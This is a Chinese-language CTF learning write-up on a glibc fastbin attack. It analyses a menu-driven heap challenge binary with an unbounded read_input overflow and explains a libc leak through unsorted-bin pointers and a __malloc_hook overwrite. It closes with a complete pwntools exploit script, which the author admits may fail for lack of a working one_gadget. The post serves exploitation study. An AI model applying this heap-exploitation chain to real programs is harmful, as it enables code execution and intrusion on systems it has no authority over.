pwn学习-fastbin attack

发布于 2021-03-14  788 次阅读


0x00

呜呜呜,堆好难啊

0x01

这道题是之前涅普公开课,freedom师傅讲的一道例题,附件。freedom师傅讲得很好啊,我学堆就是看的freedom师傅B站的视频,yyds!

0x02 题目分析

这道题是一道菜单题,选择1添加chunk,选择2free掉chunk,选择3编辑chunk的内容,选择4输出chunk的内容。

1:ADD
2:DELETE
3:EDIT?
4:SHOW?

在内容的输入中,read_input() 函数以及调用该函数的位置并没有对用户输入的大小进行限制及判断,就造成了我们的输入可以溢出到下一个chunk块,造成堆溢出。

unsigned __int64 __fastcall read_input(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  return __readfsqword(0x28u) ^ v5;
}

0x03 视频学习笔记 && wp

由于fastbins是单链表,每个free状态的chunk靠fd指针相连,指向上一个free掉的chunk,所以我们对chunk进行溢出,目的就是覆盖掉目标chunk的fd指针。

通过修改fastbins中chunk的fd指针,可将我们想要的地址插入到fastbins链表中,之后可将其申请出来。

由于fastbins中的chunk被申请时,会检查inuse位,并检查地址是否合法,因此我们得找到一个合适的位置进行插入。

__malloc_hook 的地址减去0x23处,size为0x70,在fastbins范围之内,且inuse位为1。fastbin在free以后,inuse位不会清0,因此要确保inuse位为1。

在将这个地址插入fastbins后,将其申请出来,就可以对这个地址之后的内容进行写入。在这个地址之后,就是 __malloc_hook ,初始为0,我们就可以对其进行修改。当执行malloc函数时,如果 __malloc_hook 处有数据,就会跳转到这执行此处的内容。

然后查看 __malloc_hook 地址处的内容,发现__malloc_hook 的地址距离 main_arena 的地址仅有16个字节。

然后查看unsortbins头的地址,在 <main_arena + 88> 处,然后在<main_arena + 104> 处,是这个头的fd和bk指针,指向了unsortbin中的chunk的地址。

将这个chunk free掉以后,fd和bk指针处就是unsortbin的头的地址,我们再次申请一块大小为0x100的chunk,就会再次将这块chunk申请出来。

输入八字节大小的内容,,查看一下chunk,可以发现原来的bk指针的内容没有清空,我们可以利用输出chunk的内容将这个地址带出来,就可以借此找到 __malloc_hook 的地址,然后就将libc的地址泄露出来了。

根据之前的信息,libc的基址计算如下:

libc_base = unsortbin - 88 - 0x10 - libc.sym["__malloc_hook"]

然后我们在最开始申请了两块大小为0x60的chunk,对第一个chunk输入进行溢出,覆盖后一个chunk的fd指针,将其覆盖为 __malloc_hook - 0x23 的地址,就是之前找的size位为0x7f,大小为0x70,inuse位为1的地址,可以绕过检查。

可以看到此时该地址已经被我们插入到fastbins中了。

此时我们申请两块大小为0x60的chunk,就可以将其给申请出来,然后我们就可以对 __malloc_hook 进行修改了,之前得到了libc的地址,就可以找到one_gadget的地址,将其插入 __malloc_hook ,之后在执行malloc函数时,就会跳转到__malloc_hook 处执行one_gadget来getshell。

但是这题没有找到满足条件的one_gadget,freedom师傅也就讲到这了,这里应该可以通过__malloc_hookrealloc_hook 相配合的方法来使得one_gadget生效,学习之后来填坑吧hhh。

exp:

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

io = process("./flow")
menu="ch:"

def add(index,size,content):
    io.sendlineafter(menu,"1")
    io.sendlineafter("?",str(index))
    io.sendlineafter("??",str(size))
    io.sendlineafter(":",content)

def edit(index,size,content):
    io.sendlineafter(menu,"3")
    io.sendlineafter("?",str(index))
    io.sendlineafter("??",str(size))
    io.sendlineafter("say something:",content)

def delete(index):
    io.sendlineafter(menu,"2")
    io.sendlineafter("?",str(index))

def show(index):
    io.sendlineafter(menu,"4")
    io.sendlineafter("?",str(index))

if __name__ == "__main__":
    add('0', '0x100', 'aaaaaaaa')
    add('1', '0x60', 'aaaaaaaa')
    add('2', '0x60', 'aaaaaaaa')

    delete('0')

    add('0', '0x100', 'aaaaaaaa')

    show(0)

    unsortbin = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    libc_base = unsortbin - 88 - 0x10 - libc.sym["__malloc_hook"]
    print(hex(libc_base))
    one_gadget = libc_base + 0x45216

    delete(2)
    edit('1', 0x100, 'a' * 0x60 + p64(0) + p64(0x71) + p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
    add('3', '0x60', 'aaaaaaaa')
    add('4', '0x60', 'a' * 0x13 + p64(one_gadget))
    io.sendlineafter(menu,"5")
    io.sendlineafter("?",str(8))


    io.interactive()